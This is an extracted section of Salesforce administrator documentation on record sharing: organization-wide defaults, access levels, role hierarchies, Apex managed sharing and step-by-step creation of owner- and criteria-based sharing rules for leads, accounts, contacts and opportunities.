Note: Starting in Summer 12, custom objects can have separate organization-wide defaults for external and internal users, enabling admins to set default access for external users to Private while still allowing Public Read/Write or Public Read Only access for internal users. See Separate Organization-Wide Defaults for more information.

See Also:
Setting Your Organization-Wide Sharing Defaults Overview of Roles Sharing Rules Overview Setting Up Your Customer Portal

631

Security and Sharing

About Organization-Wide Sharing Defaults

Separate Organization-Wide Defaults


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: Separate Organization-Wide Defaults for External Users is available through a pilot program. For more information on enabling this feature for your organization, contact salesforce.com. Starting in Summer 12, custom objects can have separate organization-wide defaults for internal and external users, therefore simplifying your sharing rules configuration and improving recalculation performance. External users include: Authenticated Website users Service Cloud Portal users Customer Portal users Partner Portal users Guest users

Previously, if your organization wanted Public Read Only or Public Read/Write access for internal users but Private for external users, you would have to set the default access to Private and create a sharing rule to share records with all internal users. With separate organization-wide defaults, you can achieve similar behavior by setting Default Internal Access to Public Read Only or Public Read/Write and Default External Access to Private. Setting the default internal access as Public Read Only or Public Read/Write also speeds up performance for reports, list views, searches, and API queries. Enable separate organization-wide defaults by clicking Your Name > Setup > Security Controls > Sharing Settings and clicking the Enable External Sharing Model button. Note: The Default External Access level must be more restrictive or equal to the Default Internal Access level. For example, you can have a custom object with Default External Access set to Private and Default Internal Access set to Public Read Only . If you want to disable separate organization-wide defaults, each of your custom objects must be set to the same Default External Access and Default Internal Access levels before you can disable this feature. This button may be grayed out if at least one of your custom objects has different internal and external access levels. If you have soft-deleted a custom object with different external and internal defaults, you have to undelete the custom object to change the defaults to the same levels or hard-delete the custom object before you can disable the feature. For details, see the Separate Organization-Wide Defaults for External Users tip sheet.

632

Security and Sharing

Built-in Sharing Behavior

Built-in Sharing Behavior


Sharing for accounts and contacts is available in: Professional, Enterprise, Unlimited, and Developer Editions Sharing for cases and opportunities is available in Enterprise, Unlimited, and Developer Editions

You may encounter cases where a user can view a parent or child of a record that they have access to. An account is the parent of several child entitiesopportunity, case, and contact. For example, a user with access to a case can view the associated parent account. Similarly, a user with access to a parent account can view associated child entities. Salesforce provides implicit sharing between accounts and child objects, and also for various groups of portal users, summarized as follows. Sharing between accounts and child entities Access to a parent accountIf you have access to a child record of an account, you have implicit Read Only access on that account. Access to child entitiesIf you have access to a parent account, you may have access to the associated child entities. The account owner's role determines the level of access to child entities.

Built-in sharing behavior for portal users Account and case accessA portal user of an account has Read Only access to the parent account and to all contacts of that account. Management access to data owned by Service Cloud portal usersSince Service Cloud portal users don't have roles, portal account owners can't access their data via the role hierarchy. To grant them access to this data, you can add account owners to the share group of the portal where the Service Cloud portal users are working in. This step provides access to all data owned by Service Cloud portal users in that portal. Case accessIf a portal user is a contact on a case, then the user has Read Only access on the case.

See Also:
Sharing Considerations Securing Data Access Creating Account Sharing Rules Granting Access to Records

633

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Setting Your Organization-Wide Sharing Defaults


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Solutions, Service Contracts, Documents, Forecasts, Reports, and Dashboards are not available in Database.com

User Permissions Needed To set default sharing access: Manage Users AND Customize Application

Note:

Who Sees What: Organization-Wide Defaults (6:36 minutes)

Watch how you can restrict access to records owned by other users. 1. Click Your Name > Setup > Security Controls > Sharing Settings. 2. Click Edit in the Organization-Wide Defaults area. 3. For each object, select the default access you want to use. If you have a portal enabled with separate organization-wide defaults, see Separate Organization-Wide Defaults. 4. To disable automatic access using your hierarchies, deselect Grant Access Using Hierarchies for any custom object that does not have a default access of Controlled by Parent. Note: If Grant Access Using Hierarchies is deselected, users that are higher in the role or territory hierarchy don't receive automatic access. However, some userssuch as those with the View All and Modify All object permissions and the View All Data and Modify All Data system permissionscan still access records they don't own.

Limitations
You can't change the organization-wide sharing default setting for some objects: Solutions are always Public Read/Write. Service contracts are always Private. The ability to view or edit a document, report, or dashboard is based on a user's access to the folder in which it's stored. Users can only view the forecasts of other users who are placed below them in the role hierarchy, unless forecast sharing is enabled. For more information, see Manually Sharing a Forecast on page 1402. When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide default is set to Controlled by Parent and it is not editable. You can't change the organization-wide default settings from private to public for a custom object if Apex code uses the sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing

634

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

access on a custom object Invoice__c (represented as Invoice__share in the code), you can't change the object's organization-wide sharing setting from private to public.

See Also:
Overview of Sharing Settings Sharing Default Access Settings

Default Organization-Wide Sharing Settings


Available in: Professional, Enterprise, Unlimited,Developer, and Database.com Editions. Except for Custom Objects, all object types are not available in Database.com

The default organization-wide sharing settings are: Object Account Activity Asset Calendar Campaign Case Contact Contract Custom Object Lead Opportunity Price Book Service Contract Default Access Public Read/Write Private Public Read/Write Hide Details and Add Events Public Full Access Public Read/Write/Transfer Controlled by Parent Public Read/Write Public Read/Write Public Read/Write/Transfer Public Read Only Use Private

See Also:
About Organization-Wide Sharing Defaults Setting Your Organization-Wide Sharing Defaults

635

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Sharing Default Access Settings


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Only Custom Objects are available in Database.com

User Permissions Needed To set default sharing access: Manage Users

You can use organization-wide defaults to set the default level of record access for the following objects. Accounts and their associated contracts and assets Activities Calendars Campaigns Cases Contacts Custom objects Leads Opportunities Price books Service contracts

You can assign the following access levels to accounts, campaigns, cases, contacts, contracts, leads, opportunities, users, and custom objects. Field
Controlled by Parent

Description A user can perform an action (such as view, edit, or delete) on a contact based on whether he or she can perform that same action on the record associated with it. For example, if a contact is associated with the Acme account, then a user can only edit that contact if he or she can also edit the Acme account.

Private

Only the record owner, and users above that role in the hierarchy, can view, edit, and report on those records. For example, if Tom is the owner of an account, and he is assigned to the role of Western Sales, reporting to Carol (who is in the role of VP of Western Region Sales), then Carol can also view, edit, and report on Toms accounts.

636

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Field
Public Read Only

Description All users can view and report on records but not edit them. Only the owner, and users above that role in the hierarchy, can edit those records. For example, Sara is the owner of ABC Corp. Sara is also in the role Western Sales, reporting to Carol, who is in the role of VP of Western Region Sales. Sara and Carol have full read/write access to ABC Corp. Tom (another Western Sales Rep) can also view and report on ABC Corp, but cannot edit it.

Public Read/Write

All users can view, edit, and report on all records. For example, if Tom is the owner of Trident Inc., all other users can view, edit, and report on the Trident account. However, only Tom can alter the sharing settings or delete the Trident account.

Public Read/Write/Transfer

All users can view, edit, transfer, and report on all records. Only available for cases or leads. For example, if Alice is the owner of ACME case number 100, all other users can view, edit, transfer ownership, and report on that case. But only Alice can delete or change the sharing on case 100.

Public Full Access

All users can view, edit, transfer, delete, and report on all records. Only available for campaigns. For example, if Ben is the owner of a campaign, all other users can view, edit, transfer, or delete that campaign.

Note: To use cases effectively, set the organization-wide default for Account, Contact, Contract, and Asset to Public Read/Write. You can assign the following access levels to personal calendars. Field
Hide Details

Description Others can see whether the user is available at given times, but can not see any other information about the nature of events in the users calendar. In addition to the sharing levels set by Hide Details, users can insert events in other users calendars. Users can see detailed information about events in other users calendars.

Hide Details and Add Events

Show Details

637

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Field
Show Details and Add Events

Description In addition to the sharing levels set by Show Details, users can insert events in other users calendars. Users can see detailed information about events in other users calendars, insert events in other users calendars, and edit existing events in other users calendars.

Full Access

Note: Regardless of the organization-wide defaults that have been set for calendars, all users can invite all other users to events. You can assign the following access levels to price books. Field
Use

Description All users can view price books and add them to opportunities. Users can add any product within that price book to an opportunity. All users can view and report on price books but only users with the Edit permission on opportunities or users that have been manually granted use access to the price book can add them to opportunities. Users cannot see price books or add them to opportunities. Use this access level in your organization-wide default if you want only selected users to access selected price books. Then, manually share the appropriate price books with the appropriate users. For information on manually sharing a price book to your users, see Sharing Price Books on page 2755.

View Only

No Access

You can assign the following access levels to activities. Field


Private

Description Only the activity owner, and users above the activity owner in the role hierarchy, can edit and delete the activity; users with read access to the record to which the activity is associated can view and report on the activity. A user can perform an action (such as view, edit, transfer, and delete) on an activity based on whether he or she can perform that same action on the records associated with the activity. For example, if a task is associated with the Acme account and the John Smith contact, then a user can only edit that task

Controlled by Parent

638

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Field

Description if he or she can also edit the Acme account and the John Smith record.

See Also:
Overview of Sharing Settings Setting Your Organization-Wide Sharing Defaults

Sharing Considerations
Your organization's sharing model gives users access to records they do not own. The sharing model is a complex relationship between role hierarchies, user permissions, sharing rules, and exceptions for certain situations. Review the following notes before setting your sharing model: Exceptions to Role Hierarchy-based Sharing Users can always view and edit all data owned by or shared with users below them in the role hierarchy. Exceptions to this include: An option on your organization-wide default allows you to ignore the hierarchies when determining access to data. For more information on this setting, see Controlling Access Using Hierarchies. Contacts that are not linked to an account are always private. Only the owner of the contact and administrators can view it. Contact sharing rules do not apply to private contacts. Notes and attachments marked as private via the Private checkbox are accessible only to the person who attached them and administrators. Events marked as private via the Private checkbox are accessible only by the event owner. Other users cannot see the event details when viewing the event owners calendar. However, users with the View All Data or Modify All Data permission can see private event details in reports and searches, or when viewing other users calendars. Users above a record owner in the role hierarchy can only view or edit the record owners records if they have the Read or Edit object permission for the type of record

Deleting Records The ability to delete individual records is controlled by administrators, the record owner, users in a role hierarchy above the record owner, and any user that has been granted Full Access. If the sharing model is set to Public Read/Write/Transfer for cases or leads or Public Full Access for campaigns, any user can delete those types of records.

Adding Related Items to a Record You must have Read/Write access to a record to be able to add notes or attachments to the record. You must have at least Read access to a record to be able to add activities or other associated records to it.

639

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Adding or Removing Sharing Access Manually The ability to manually extend the sharing access of individual records is controlled by administrators, the record owner, users in a role hierarchy above the record owner, and any user that has been granted Full Access. See Sharing Accounts, Sharing Campaigns, Sharing Contacts, Sharing Opportunities, Sharing Cases, and Sharing Leads. Changing your sharing model deletes any manual shares your users have created.

User Permissions and Object-Level Permissions While your sharing model controls visibility to records, user permissions and object-level permissions control what users can do to those records. Regardless of the sharing settings, users must have the appropriate object-level permissions. For example, if you share an account, those users can only see the account if they have the Read permission on accounts. Likewise, users who have the Edit permission on contacts may still not be able to edit contacts they do not own if they are working in a Private sharing model. Administrators, and users with the View All Data or Modify All Data permissions, have access to view or edit all data.

Account Sharing To restrict users access to records they do not own that are associated with accounts they do own, set the appropriate access level on the role. For example, you can restrict a user's access to opportunities they do not own yet are associated with accounts they do own using the Opportunity Access option. Regardless of the organization-wide defaults, users can, at a minimum, view the accounts in their territories. Also, users can be granted access to view and edit the contacts, opportunities, and cases associated with their territories' accounts.

Apex Sharing You can't change the organization-wide default settings from private to public for a custom object if Apex code uses the sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing access on a custom object Invoice__c (represented as Invoice__share in the code), you can't change the object's organization-wide sharing setting from private to public.

Campaign Sharing In Enterprise, Unlimited, and Developer Editions, designate all users as Marketing Users when enabling campaign sharing. This simplifies administration and troubleshooting because access can be controlled using sharing and profiles. Note: Professional Edition customers cannot manage users this way because custom profiles are not enabled in Professional Edition organizations. To segment visibility between business units while maintaining existing behavior within a business unit: 1. Set the campaign organization-wide default to Private. 2. Create a sharing rule to grant marketing users Public Full Access to all campaigns owned by users within their business unit. 3. Create a sharing rule to grant all non-marketing users in a business unit Read Only access to all campaigns owned by users in their business unit. When a single user, such as a regional marketing manager, owns multiple campaigns and needs to segment visibility between business units, share campaigns individually instead of using sharing rules. Sharing rules apply to all campaigns owned by a user and do not allow segmenting visibility. Create all campaign sharing rules prior to changing your organization-wide default to reduce the affect the change has on your users.

640

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

To share all campaigns in your organization with a group of users or a specific role, create a sharing rule that applies to campaigns owned by members of the Entire Organization public group. Minimize the number of sharing rules you need to create by using the Roles and Subordinates option instead of choosing a specific role. If campaign hierarchy statistics are added to the page layout, a user can see aggregate data for a parent campaign and all the campaigns below it in the hierarchy regardless of whether that user has sharing rights to a particular campaign within the hierarchy. Therefore, consider your organization's campaign sharing settings when enabling campaign hierarchy statistics. If you do not want users to see aggregate hierarchy data, remove any or all of the campaign hierarchy statistics fields from the Campaign Hierarchy related list. These fields will still be available for reporting purposes. For more information, see Viewing Campaign Hierarchy Statistics. If the sharing model is set to Public Full Access for campaigns, any user can delete those types of records.

Campaign Member Sharing Campaign member sharing is controlled by campaign sharing rules. Users that can see a campaign can also see associated campaign members. Contact Sharing The organization-wide sharing default for contacts is not available to organizations that have person accounts enabled. If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's account.

Price Book Sharing Sharing on price books controls whether users can add the price book and its products to opportunities. User permissions control whether users can view, create, edit, and delete price books.

641

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Controlling Access Using Hierarchies


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Territories are not available in Database.com

User Permissions Needed To set default sharing access: Manage Users AND Customize Application To change the Grant Access Using Hierarchies option: Manage Users AND Customize Application

Beyond setting the organization-wide sharing defaults for each object, your organization can specify whether users have access to the data owned by or shared with their subordinates in the hierarchy. For example, hierarchies like the role hierarchy or territory hierarchy automatically grant record access to users above the record owner in the hierarchy. The Grant Access Using Hierarchies option in the organization-wide defaults determines the access users have to records that they do not own, including records they do not have sharing access to but someone below them in the hierarchy does. By default, the Grant Access Using Hierarchies option is enabled for all objects, and it can only be changed for custom objects. To control sharing access using hierarchies for any custom object, click Your Name > Setup > Security Controls > Sharing Settings and Edit in the Organization Wide Defaults section. Deselect Grant Access Using Hierarchies if you want to prevent users from gaining automatic access to data owned by or shared with their subordinates in the hierarchies. Implementation Notes Regardless of your organization's sharing settings, users can gain access to records they do not own through other means such as user permissions like View All Data, sharing rules, or manual sharing of individual records. The Grant Access Using Hierarchies option is always selected on standard objects and is not editable. If you disable the Grant Access Using Hierarchies option, sharing with a role or territory and subordinates only shares with the users directly associated with the role or territory selected. Users in roles or territories above them in the hierarchies will not gain access. If your organization disables the Grant Access Using Hierarchies option, activities associated with a custom object are still visible to users above the activitys assignee in the role hierarchy. If a master-detail relationship is broken by deleting the relationship, the former detail custom object's default setting is automatically reverted to Public Read/Write and Grant Access Using Hierarchies is selected by default. The Grant Access Using Hierarchies option affects which users gain access to data when something is shared with public groups, personal groups, queues, roles, or territories. For example, the View All Users option displays group members and people above them in the hierarchies when a record is shared with them using a sharing rule or manual sharing and the Grant Access Using Hierarchies option is selected. When the Grant Access Using Hierarchies option is not selected, some users in these groups no longer have access. The following list covers the access reasons that depend on the Grant Access Using Hierarchies option.

642

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

These reasons always gain access: Group Member Queue Member Role Member Member of Subordinate Role Territory Member Member of Subordinate Territory These reasons only gain access when using hierarchies: Manager of Group Member Manager of Queue Member Manager of Role Manager of Territory User Role Manager of Territory Best Practices When you deselect Grant Access Using Hierarchies, notify users of the changes in report results that they can expect due to losing visibility of their subordinates' data. For example, selecting My team's... in the View drop-down list returns records owned by the user; it will not include records owned by their subordinates. To be included in this type of report view, records from subordinates must be explicitly shared with that user by some other means such as a sharing rule or a manual share. So, if no records are shared with you manually, the My... and My team's... options in the View drop-down list return the same results. However, choosing the Activities with... any custom object report type when creating a custom report returns activities assigned to you as well as your subordinates in the role hierarchy.

See Also:
Sharing Default Access Settings Setting Your Organization-Wide Sharing Defaults

Creating Apex Sharing Reasons


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create Apex sharing reasons: To view Apex sharing reasons: Author Apex View Setup and Configuration

When creating Apex managed sharing, create Apex sharing reasons for individual custom objects to indicate why sharing was implemented, simplify the coding required to update and delete sharing records, and share a record multiple times with the same user or group using different Apex sharing reasons.

643

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Note: For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.

Salesforce displays Apex sharing reasons in the Reason column when viewing the sharing for a custom object record in the user interface. This allows users and administrators to understand the purpose of the sharing. When working with Apex sharing reasons, note the following: Only users with the Modify All Data permission can add, edit, or delete sharing that uses an Apex sharing reason. Deleting an Apex sharing reason will delete all sharing on the object that uses the reason. You can create up to 10 Apex sharing reasons per custom object. You can create Apex sharing reasons using the Metadata API. For more information, see theMetadata API Developer's Guide.

To create an Apex sharing reason: 1. 2. 3. 4. Click Your Name > Setup > Create > Objects. Select the custom object. Click New in the Apex Sharing Reasons related list. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the user interface. The label is also enabled for translation through the Translation Workbench. 5. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 6. Click Save.

See Also:
Recalculating Apex Managed Sharing Apex Code Overview Setting Your Organization-Wide Sharing Defaults Granting Access to Records

Recalculating Apex Managed Sharing


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To associate an Apex managed sharing recalculation class: To run an Apex managed sharing recalculation: Author Apex Author Apex OR Manage Users

Important: When packaging custom objects, be aware that associated Apex sharing recalculations are also included and may prevent the package from installing.

644

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Developers can write batch Apex classes that recalculate the Apex managed sharing for a specific custom object. You can associate these classes with a custom object on its detail page, and execute them if a locking issue prevents Apex from granting access to a user as defined by the applications logic. Apex sharing recalculations are also useful for resolving visibility issues due to coding errors. For example, if a developer corrects a coding error that prevented users from accessing records they should see, the correction might only affect records created after the code update. To ensure the correction applies to existing records as well, the developer can run an Apex sharing recalculation to validate sharing on all records. You can run Apex sharing recalculations from a custom object's detail page. You can also run them programmatically using the Database.executeBatch method. In addition, Salesforce automatically runs Apex recalculation classes defined for a custom object every time a custom object's organization wide sharing default access level is updated. Note: Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes. The recalculation includes access granted by sharing rules. In addition, all types of sharing are removed if the access they grant is redundant. For example, the manual sharing which grants Read Only access to a user is deleted when the objects sharing model is changed from Private to Public Read Only. For information on creating Apex managed sharing and recalculation classes, see the Force.com Apex Code Developer's Guide. To associate an Apex managed sharing recalculation class with a custom object: 1. 2. 3. 4. Click Your Name > Setup > Create > Objects. Select the custom object. Click New in the Apex Sharing Recalculations related list. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object. 5. Click Save. To run an Apex sharing recalculation: 1. Click Your Name > Setup > Create > Objects. 2. Select the custom object. 3. Click Recalculate Apex Sharing. When working with Apex sharing recalculations, note the following: The Apex code that extends the sharing recalculation can process a maximum of five million records. If thisApex code affects more than five million records, the job fails immediately. You can monitor the status of Apex sharing recalculations in the Apex job queue. You can associate a maximum of five Apex sharing recalculations per custom object. You cannot associate Apex sharing recalculations with standard objects.

See Also:
Creating Apex Sharing Reasons Apex Code Overview Setting Your Organization-Wide Sharing Defaults

645

Security and Sharing

Sharing Rules Overview

Sharing Rules Overview


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions Account territory, case, lead, opportunity, and custom object sharing rules are available in: Enterprise, Unlimited, and Developer Editions Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions Only custom object sharing rules are available in Database.com

Note:

Who Sees What: Record Access via Sharing Rules (4:27 minutes)

Watch how you can grant access to records using sharing rules. With sharing rules, you can make automatic exceptions to your organization-wide sharing settings for defined sets of users. For example, use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules can never be stricter than your organization-wide default settings. They simply allow greater access for particular users. You can create the following types of sharing rules. Type Account sharing rules Based on Account owner or other criteria, including account record types or field values Territory assignment Set Default Sharing Access for Accounts and their associated contracts, assets, opportunities, cases, and optionally, contacts Accounts and their associated cases, contacts, contracts, and opportunities

Account territory sharing rules Campaign sharing rules

Campaign owner or other criteria, Individual campaign records including campaign record types or field values Case owner or other criteria, including case record types or field values Individual cases and associated accounts

Case sharing rules Contact sharing rules Custom object sharing rules

Contact owner or other criteria, including Individual contacts and associated contact record types or field values accounts Custom object owner or other criteria, Individual custom object records including custom object record types or field values Lead owner or other criteria, including lead record types or field values Opportunity owner or other criteria, including opportunity record types or field values Individual leads Individual opportunities and their associated accounts

Lead sharing rules Opportunity sharing rules

646

Security and Sharing

Sharing Rules Overview

Note: You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public groups. Developers can use Apex to programmatically share custom objects (based on record owners, but not other criteria). This does not apply to User Sharing.

See Also:
Criteria-Based Sharing Rules Overview Sharing Rule Considerations Creating Apex Sharing Reasons Overview of Sharing Settings About High-Volume Portal Users (Service Cloud Portal Users)

Criteria-Based Sharing Rules Overview


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Accounts, Opportunities, Cases, and Contacts are not available in Database.com

Criteria-based sharing rules determine whom to share records with based on field values in records. For example, let's say you use a custom object for job applications, with a custom picklist field named Department. You can create a criteria-based sharing rule that shares all job applications in which the Department field is set to IT with all IT managers in your organization. Note: Although criteria-based sharing rules are based on values in the records and not the record owners, a role or territory hierarchy still allows users higher in the hierarchy to access the records. You can't use Apex to create criteria-based sharing rules. Also, criteria-based sharing cannot be tested using Apex. You can use the Metadata API to create criteria-based sharing rules starting in API version 24.0. You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public groups.

You can create criteria-based sharing rules for accounts, opportunities, cases, contacts, leads, campaigns, and custom objects. You can create up to 50 criteria-based sharing rules per object. Record types These field types: Auto Number Checkbox Date Date/Time Email

647

Security and Sharing

Sharing Rules Overview

Number Percent Phone Picklist Text Text Area URL Lookup Relationship (to user ID or queue ID) Note: Text and Text Area are case-sensitive. For example, a criteria-based sharing rule that specifies Manager in a text field won't share records with manager in the field. To create a rule with several common cases of a word, enter each value separated by a comma.

See Also:
Sharing Rules Overview Managing Record Types Custom Field Types Overview of Roles Creating Workflow Rules Managing Apex Triggers

Creating Lead Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Lead sharing rules are based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 lead sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Lead Sharing Rules related list, click New. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Select a rule type. 6. Depending on the rule type you selected, do the following:

648

Security and Sharing

Sharing Rules Overview

Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 8. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

9. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview

Creating Account Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Account sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 account sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Account Sharing Rules related list, click New. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Select a rule type.

649

Security and Sharing

Sharing Rules Overview

6. Depending on the rule type you selected, do the following:


Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 8. Select a setting for Default Account, Contract and Asset Access. 9. In the remaining fields, select the access settings for the records associated with the shared accounts. Access Setting Private (available for associated contacts, opportunities, and cases only) Read Only Read/Write Description Users can't view or update records, unless access is granted outside of this sharing rule.

Users can view, but not update, records. Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

10. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview Criteria-Based Sharing Rules Overview Entering Filter Criteria

650

Security and Sharing

Sharing Rules Overview

Creating Account Territory Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Account territory sharing rules are based on territory assignment. You can define up to 300 account territory sharing rules. 1. 2. 3. 4. 5. 6. 7. 8. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Account Territory Sharing Rules related list, click New. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. In the Accounts in Territory line, select Territories or Territories and Subordinates from the first drop-down list and a territory from the second drop-down list. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. Select a setting for Default Account, Contract and Asset Access. In the remaining fields, select the access setting for the records associated with the shared account territories. Access Setting Private (available for associated contacts, opportunities, and cases only) Read Only Read/Write Description Users can't view or update records, unless access is granted outside of this sharing rule.

Users can view, but not update, records. Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

9. Click Save.

See Also:
Creating and Editing Groups Territory Management Overview Sharing Rules Overview

651

Security and Sharing

Sharing Rules Overview

Creating Contact Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Contact sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 contact sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Contact Sharing Rules related list, click New. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Select a rule type. 6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 8. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

652

Security and Sharing

Sharing Rules Overview

9. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview Criteria-Based Sharing Rules Overview Entering Filter Criteria

Creating Opportunity Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Opportunity sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 opportunity sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Opportunity Sharing Rules related list, click New. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Select a rule type. 6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 8. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the associated account.

653

Security and Sharing

Sharing Rules Overview

Access Setting Read Only Read/Write

Description Users can view, but not update, records. Users can view and update records.

9. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview Criteria-Based Sharing Rules Overview Entering Filter Criteria

Creating Case Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

